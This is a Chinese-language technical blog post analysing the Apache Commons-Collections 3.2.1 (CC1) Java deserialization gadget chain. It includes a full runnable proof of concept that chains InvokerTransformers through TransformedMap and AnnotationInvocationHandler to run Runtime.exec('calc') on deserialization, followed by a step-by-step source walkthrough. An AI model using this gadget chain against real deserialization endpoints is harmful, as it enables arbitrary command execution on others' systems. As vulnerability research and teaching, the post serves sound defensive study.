关于Commons-Collections1反序列化的思考

2019-12-14 约 636 字 预计阅读 3 分钟

声明:本文 【关于Commons-Collections1反序列化的思考】 由作者 erpang 于 2019-12-14 09:50:59 首发 先知社区 曾经 浏览数 329 次

感谢 erpang 的辛苦付出!

Commons-Collections1 反序列化

简要

网上已经很多对Commons-Collections1序列化链条分析的文章了,俗话说站在巨人的肩上才能看的更远,对于整个序列化与反序列化过程,接下来主要叙述我遇到的坑点与重点位置,为了更好的理解,在最后我会对整个过程中难以理解的地方用图片呈现。

环境准备:jdk1.8.0_60 commons-collections-3.2.1.jar

为了更好分析,我直接把代码贴出来,回溯分析

import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.Map;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.HashedMap;
import org.apache.commons.collections.map.TransformedMap;


public class serialize {
    public static void main(String[] args) throws Exception {
       new serialize().run();
    }
    public void run() throws Exception{
        deserialize(serialize(getObject()));
    }
    public Object getObject() throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        Transformer transformer = new ChainedTransformer(transformers);
        Map innermap = new HashedMap();
        innermap.put("value", "value");
        Map transformedMap =  TransformedMap.decorate(innermap, null, transformer);
        Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = cls.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        Object cs  = constructor.newInstance(Retention.class,transformedMap);
        return cs;
    }
    public byte[] serialize ( final Object obj) throws IOException {
        ByteArrayOutputStream out = new ByteArrayOutputStream();
        ObjectOutputStream objOut = new ObjectOutputStream(out);
        objOut.writeObject(obj);
        return out.toByteArray();
    }
    public Object deserialize(final byte[] serialized) throws IOException, ClassNotFoundException {
        ByteArrayInputStream in = new ByteArrayInputStream(serialized);
        ObjectInputStream objIn = new ObjectInputStream(in);
        return objIn.readObject();
    }
}

首先声明Transformer的数组变量,ConstantTransformer在代码中的实现如下:

public ConstantTransformer(Object constantToReturn) {
        this.iConstant = constantToReturn;
    }
/*官方解答为
public ConstantTransformer(O constantToReturn)
Constructor that performs no validation. Use constantTransformer if you want that.
Parameters:
constantToReturn - the constant to return each time
*/

可以看到此方法返回构造器,咱们构造为Runtime类,接着调用了InvokerTransformer方法,源代码如下:

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        this.iMethodName = methodName;
        this.iParamTypes = paramTypes;
        this.iArgs = args;
    }
/*官方解答为
public InvokerTransformer(String methodName,
                          Class<?>[] paramTypes,
                          Object[] args)
Constructor that performs no validation. Use invokerTransformer if you want that.
Note: from 4.0, the input parameters will be cloned
Parameters:
methodName - the method to call
paramTypes - the constructor parameter types
args - the constructor arguments
*/

调用方法,方法类型与方法参数,结合Runtime类,最终达到调用exec,所以整个数组,转化为常用代码就是

Object a = Runtime.class.getMethod("getRuntime").invoke(null,null);
Runtime.class.getMethod("exec",String.class).invoke(a,"calc");
//简化 Runtime.getRuntime().exec("calc");

可能这边大家有个疑问,Transformer数组和简化这个多了invoke方法,直接和简化一样不可以么,这时我就要简单叙述一下Runtime执行命令的顺序,首先它要获取当前环境,也就是getRuntime,然后使用exec执行命令,那这个反射是怎么执行的呢,首先和顺序一样,先要获取当前环境,也就是Object a,这时得到的环境不能直接exec,这是反射本身导致的,有兴趣的小伙伴可以深入研究一下反射的原理,我这就不叙述了,然后再通过Runtime类找到exec方法,反射调用刚刚获取到的环境Object a,加上命令,这样就可以运行了。

接着运行到ChainedTransformer方法,源代码如下:

public ChainedTransformer(Transformer[] transformers) {
        this.iTransformers = transformers;
    }
/*官方解答为
public ChainedTransformer(Transformer<? super T,? extends T>... transformers)
Constructor that performs no validation. Use chainedTransformer if you want that.
Parameters:
transformers - the transformers to chain, copied, no nulls
*/

将Transformer数组转化复制给Transformer对象,接着走到TransformedMap.decorate方法中,这边就不展开分析了,作用为给Map对象赋值Transformer的键值。接下来和之前的反射差不多,调用sun.reflect.annotation.AnnotationInvocationHandler类,通过getDeclaredConstructor获取带参构造器并使用newInstance赋值传参。其中有四个疑点,一,目前为止未看到如何到达命令执行,二,为什么对获取的构造器要执行setAccessible操作,三,Map必须要put值么,第四,最后构造器赋值传参为什么是Retention.class,由此正向分析结束。我们从反序列化开始分析调用流程。

反序列化

既然上述分析到AnnotationInvocationHandler类,那么反序列化肯定从readObject开始,分析此类的readObject方法,为了更好的分析,我们选择逐步分析,首先贴出整段代码

private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
        var1.defaultReadObject();
        AnnotationType var2 = null;

        try {
            var2 = AnnotationType.getInstance(this.type);
        } catch (IllegalArgumentException var9) {
            throw new InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map var3 = var2.memberTypes();
        Iterator var4 = this.memberValues.entrySet().iterator();

        while(var4.hasNext()) {
            Entry var5 = (Entry)var4.next();
            String var6 = (String)var5.getKey();
            Class var7 = (Class)var3.get(var6);
            if (var7 != null) {
                Object var8 = var5.getValue();
                if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
                    var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
                }
            }
        }

    }

其中有两个个重要的点,this.typethis.memberValues,这两个在之前构造器传参的时候带入。首先我们定位到var2=AnnotationType.getInstance(this.type)获取this.type实例化对象,这边随后再讲,继续到Iterator var4 = this.memberValues.entrySet().iterator();可以看到恶意代码经过entrySet()方法,这个方法源于Map接口,实现于抽象类AbstractMapDecorator,重写在AbstractInputCheckedMapDecorator,由下图可知处理后的数值

protected boolean isSetValueChecking() {
        return true;
    }

    public Set entrySet() {
        return (Set)(this.isSetValueChecking() ? new AbstractInputCheckedMapDecorator.EntrySet(this.map.entrySet(), this) : this.map.entrySet());
    }
protected EntrySet(Set set, AbstractInputCheckedMapDecorator parent) {
            super(set);
            this.parent = parent;
        }
public Iterator iterator() {
            return new AbstractInputCheckedMapDecorator.EntrySetIterator(this.collection.iterator(), this.parent);
        }
protected EntrySetIterator(Iterator iterator, AbstractInputCheckedMapDecorator parent) {
            super(iterator);
            this.parent = parent;
        }

中间通过赋值到达var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));看着很多,其实主要是为了不报错,我这直接贴出处理结果

之后通过之前对var4分析,到达var5对应的setValue方法,代码如下

private final AbstractInputCheckedMapDecorator parent;
public Object setValue(Object value) {
    value = this.parent.checkSetValue(value);
    return this.entry.setValue(value);
}

可以看到this.parent就是之前var4,var4就是恶意代码的部分,这时会到达TransformedMap.checkSetValue方法,代码如下

protected final Transformer valueTransformer;
protected Object checkSetValue(Object value) {
    return this.valueTransformer.transform(value);
}

目前为止已经回溯结束,可能有些人还不明白,我这边再重复一下,到达这里以后,可以发现和valueTransformer就是之前TransformedMap.decorate传入的恶意代码,由ChainedTransformer方法将Transformer数组转化复制给Transformer对象,之后经过ChainedTransformer.transform方法,最终到达InvokerTransformer类中transform方法,代码如下,达到运行命令

public Object transform(Object input) {
    if (input == null) {
        return null;
    } else {
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
            return method.invoke(input, this.iArgs);
        } catch (NoSuchMethodException var4) {
            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
        } catch (IllegalAccessException var5) {
            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        } catch (InvocationTargetException var6) {
            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var6);
        }
    }
}

回溯完以后,解答一下之前提出的疑问,第一个已经解答。二,执行setAccessible操作是因为AnnotationInvocationHandler类的readObject方法为私有。三,Map必须要put赋值键为value,因为之后var6会获取var5的键值,var7又会获取var6的类,如果var7获取不到,那么无法到达执行点(var2获取到的对象中Member types: {value=class java.lang.annotation.RetentionPolicy},Map var3 = var2.memberTypes(),var7执行get方法时只有value可以获取)。四,首先构造器传参第一个参数必须是class对象,那么符合原生class属性的有Override 、Deprecated 、SuppressWarnings 、Retention 、Documented 、Target 、Inherited 、SafeVarargs 、FunctionalInterface 和Repeatable,具体我就不分析了,我把我找到可以用的贴出来,SuppressWarnings、Target、Repeatable和Retention。

关键词:[‘安全技术’, ‘WEB安全’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now